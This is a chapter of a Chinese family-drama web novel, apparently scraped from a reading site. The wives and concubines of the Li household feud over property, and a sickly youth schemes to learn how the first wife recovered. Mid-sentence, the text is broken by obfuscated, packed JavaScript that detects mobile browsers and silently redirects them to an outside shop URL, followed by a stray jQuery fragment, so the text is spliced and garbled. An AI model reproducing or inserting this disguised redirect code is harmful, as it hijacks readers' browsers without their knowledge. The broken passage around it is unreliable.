第十八章
路德荣带着对新港资本社会的满满幻想过了海关,一下子就被新港的繁华迷花了眼。
对着报纸上的所谓老牌豪门一顿骂,心里的向往之情,却都快溢出来了。
却不知道,被他无限崇拜向往的豪门此时风起云涌,正经历着一场狂风暴雨。
五姨太翘着纤长的二郎腿,卡着细细的女士烟,俾睨环视,最后把目光停在大太太身上。
“大姐,凤凰楼是先生说好了给我的,你说管就要管,这也太过分了吧?”
五姨太今年二十四岁,是李仲和几个姨太太中,年龄最小的一个。
她不同于大家族出生的江娴音或者舞女记者出身的二姨太三姨太等人。
五姨太是个电影明星,很早就红了,爆红之后,就一下子成了李仲和的入幕之宾。
在她的身上,没有大太太的那种优雅端庄,也没有其他几位姨太太的谦卑贤良。
她的身上,充斥着火辣辣的张扬。
明艳的眉目,热辣的红唇。
用水晶和亮片织就得烈焰长裙包裹着她曼妙的身段,好像要将整个宅子,都拖入张牙舞爪的热情中去。
她是江娴音从来没有深入打过交道的女人。
准确地说,她甚至没有见过五姨太本人。
以前,不论她是江家大小姐时,还是嫁给李仲和后正值壮年。
不论男女,来到她身边,都必定是优雅谦卑的。
她们不会在她面前打扮得如此张扬,不会毫无顾忌地试图和她争抢风头。
更不会这样大大咧咧,翻着白眼说话看人。
但是现在,这样一个女人,出现在她的面前,展现出了一股让她无法招架的攻击力。
江娴音有些手足无措。
因为她所了解的对手,无一不是隐忍的,优雅的,即便要耍手段,表面也是风轻云淡的。
这个女人像一盆辣椒,直接泼到了她的脸上。让她原本制定好的那计划,一下子施展不开了。
“怎么不说话?大太太,您要是不给我个交代,那没办法,我只好去找先生要交代了。”女人掐了烟,摇曳生姿地站起来,踩着九公分的高跟鞋,哒哒走了两步,忽然又回过身,笑了笑,说:“不过要是您真喜欢凤凰楼,想拿去也没什么要紧。哎,幸好凤凰楼的帐我还没盘,不然岂不是白忙一趟?也好,这下就该劳累您了。”
江娴音心下一紧。
什么账?还没盘账?
江娴音下意识地去看李济和李陶,却见这俩人和她一样一脸懵。
这让她的心狠狠垂了一下,想说什么,五姨太已经走了。
三姨太干笑一声,劝大家吃饭。
四姨太嗤笑一声,说自己倒胃口。
只有二姨太端坐原来的位置,安安静静地当着弥勒佛,好像什么都没有发生。
江娴音最恨她这个样子,见状冷笑:“你还坐得住?家里进这么个人,你这二姨太干什么吃的?”
“这……关我什么事呀?”秋叶白讪笑一声:“老爷喜欢她,我有什么好说的?何况她也挺好,十分知情识趣,老爷最爱她这俏生生的模样了。”
别看秋叶白也才三十来岁,但她嫁进李家已经快二十年了。
当时的她还是个小孩儿,就跟了李仲和,这么多年下来,在李家的位置,也已经根深蒂固了。
只是相比起满腔爱意,都这把年纪了还在争风吃醋的江娴音。她对李仲和这个跟了一辈子的男人,好像还真是依靠比爱情多。
应该说,到了现在,连曾经的那点儿依靠也不剩多少了。
她笑盈盈地看着大太太,说:“老爷就是喜欢这种年轻明媚的女孩儿,你不是不知道。除了她,外面还不知道有多少呢,让我管?我哪儿管得过来。”
江娴音无话可说。
她气呼呼地站起来,正想让李济去凤凰楼的情况,就有人告诉她,自己的人,被李仲和一个电话就从凤凰楼赶出去了。
“赶出去了?他怎么可以这样?”凤凰楼是她的陪嫁,早年为了贷款抵押了。后来李仲和发达,才又被买了回来。
但是买回来之后,凤凰楼就已经不是她的私产了了。
只是当初买的时候说过,凤凰楼永远属于她。
但因为她重病瘫痪,行动不便,手续的事,就一直没有办。
现在好了,她的身体已经恢复,明明能够像以前那样处理家事了。
但是不管是管家也好,还是外面的生意也好,李仲和完全不让她碰。
仿佛她的身体恢复了,也依旧只能做一个健康了的闲人。买买衣服逛逛街,才是她仅有的归属。
江娴音并不是不喜欢买买衣服逛逛街的生活。
但她不喜欢因为无事可做,不得不去过买买衣服逛逛街的生活。
她想要和丈夫说清楚,但是李仲和大部分时间都在外面,就算回来,也是和其他人说说笑笑。对她,完全没有任何亲近可言。
曾经以为恢复了健康就能找回一切,重获幸福的江娴音,发现自己并没能得偿所愿。
“很好。”江娴音挂了电话:“你们走着瞧。”
“走着瞧?太太您说笑了。”四太太不屑地笑了笑,说道:“就您现在这样子,能翻起什么风浪?想让达令把主要产业交给你?别做梦了。”
“你以为我是你们吗?”江娴音无比骄傲地撂下狠话:“我是主的宠儿!主会帮我。”
说完起身就走。
四姨太瘪了瘪嘴,看向三姨太:“老五跑得还挺快,该不会以为跑了就没事了吧?”
“正常,她不想惹大太太,怕被报复。”三姨太依旧笑盈盈的,悠然地吃着燕窝排骨。
四姨太摇头:“这可是老爷给的任务,她跑了当然不得罪大太太,但是得罪老爷了。”
“不过话说回来,大太太也真是嘴紧。不就是怎么好起来的么?到底是吃了什么药还是请了什么大夫,说了就是了。这么简单的问题,她居然死咬着不放,也难怪老爷生气。”
“但家里的确没有来人,也没买什么药。”四姨太惊诧:“该不会是……老爷怀疑她这些年一直在装病把?没理由啊!”说完看着对面神闲气定的秋叶白:“二太太,你觉得呢?”
“我无所谓,老爷想知道什么,我们帮忙问就是了。”
“哼,你也真是一点儿好奇心都没有。”
话不投机,各自散去。
等所有人走了,秋叶白换了身衣衫,这才坐着轿车,到了旧宅。
这是秋叶白嫁人之前住的地方,后来她有钱了,父兄也跟着好起来。原本的窝棚平房就被一再扩建,成了如今的三进宅院。
这种宅院在新港这种地方很少见,但却是他们最喜欢的风格。
进了正门,从连廊进去,到了西苑,很快便见到了处理杂事的姨母。
见她过来,女人赶紧帮她拿掉肩上的披风,问道:“你怎么今天过来了?不是说这些日子那边忙得很么?”
李家婚礼办成了纳妾宴,这事儿闹出了不小的风波。现在街头巷尾都在议论,把二太太秋叶白当成了笑柄。
不过秋叶白本人到是看不太出来受了多大的影响。她依旧和以前一样,该做什么做什么,完全没有受到打击的样子。
此时被亲人问起来,她才叹一口气,说道:“本来也以为事情会很麻烦,但是现在看来么,也没什么要紧。”
她本来以为江娴音这个正房夫人的回归,会给她带来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207994|151036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
巨大的压力。却没有想到,没轮到她紧张,李仲和先出手了。
他对江娴音突然痊愈的事情非常好奇,想方设法地试图探明真想。
偏偏江娴音咬死不说,这一下,那两口子自己先对上了。反而她这个被嘲笑了的二姨太被扔到了一边。
不过,她的风轻云淡,也只是表面上看起来而已。
相比起一心想要知道真相的李仲和,她才是真正最着急的那一个。
“少爷这些日子好些了么?”
“挺好的,清早吃了小半碗粥,还进了些鸡汤。”女人说着:“这会儿他应该醒着,您过去正好。”
“那我先去看看他,你待会儿做饭,把我也算上,我今天下午留这边吃。”
“好好好,有你陪着,少爷能多吃几口。”
秋叶白这才穿过连廊,走到西苑,推门进去。
光线充足的房间里,摆着几样简单的木质家具,一张桌子一个茶几连同几个椅子,就再也没有别的东西了。
唯一的软榻摆在窗户边,窗帘被拉开着,让光线能毫无顾忌地透进来。
软榻上,躺着一个人清瘦单薄的少年。少年十几岁年纪,剑眉入鬓,鼻梁高挺。
他听见声音,长长的睫毛便颤了颤,睁开了,露出一双深不到底的眼睛。
没有回头,他知道是谁来了。于是轻叹一声,想要坐起来。
秋叶白赶紧上前扶着他起身,又在他背后垫了个软枕。再帮他披了件褂子在肩膀上,这才说话:“少爷好些了?姨母说你今儿喝了鸡汤,定是好多了。”
“这几天天气好,胃口也好些了。”少年声音清冷底哑,说了一句话,便停下来喘了好几下。
秋叶白没有再继续浪费时间,直接说明来意:“我家大太太确实是好了,这些日子我左右观察,绝对没有一点作假的迹象。老爷也是亲眼所见,所以更想知道她痊愈的原因。只是她的口风太紧,至今也没人能撬开。”
“身边的人都问了?”
“问了,照顾她的菲佣和护士都被审问过,他们不敢骗李仲和。”秋叶白疑惑道:“但是他们非常确定,江娴音根本没有见外人。”
“细节。”
“细节也与从前没有任何出入,不过是吃穿洗漱讲卫生。时不时看看报纸和电视打发时间。相比起来,也就是看手机的时间比从前多了许多。”
但是手机这东西,又没有什么好奇怪的。
少年垂着眼,好像在看什么,又好像完全没有聚焦。
秋叶白没敢打扰,过了好一会儿,才听少年说道:“从李仲和身上突破。”
“李仲和?但是他问过了,她还是什么都不说。”
“江娴音这个女人,最在乎她的婚姻。即便是她的儿子女儿出了事,她也不见得会松口,但是……”
一旦李仲和出了什么大问题,她就坐不住了。
江娴音从头到尾都是一个爱情至上的女人。以前她还有父母兄弟可依靠,但自从父亲回国之后,她所能依靠的,就只有丈夫李仲和。
所以一旦李仲和强求,江娴音也会没有作为。
只要她动,就是突破口。
秋叶白摇头:“老爷不会同意的,葡国大使也不会看着他对大太太动手。”
“呵!”少年轻笑一声:“你怎么知道,葡国大使,对江娴音的秘密不感兴趣?你真的确定在这个秘密面前,葡国大使还有港督大人们,会站在她一边?”
“你是说……”
“去吧。”少年重新躺下来:“我撑不了多久了,如果她的秘密对我没用……你们就要做别的准备了。”
“不会的,少爷放心,肯定会有用!”秋叶白猛地站起来,保证一句,就急匆匆地离开了。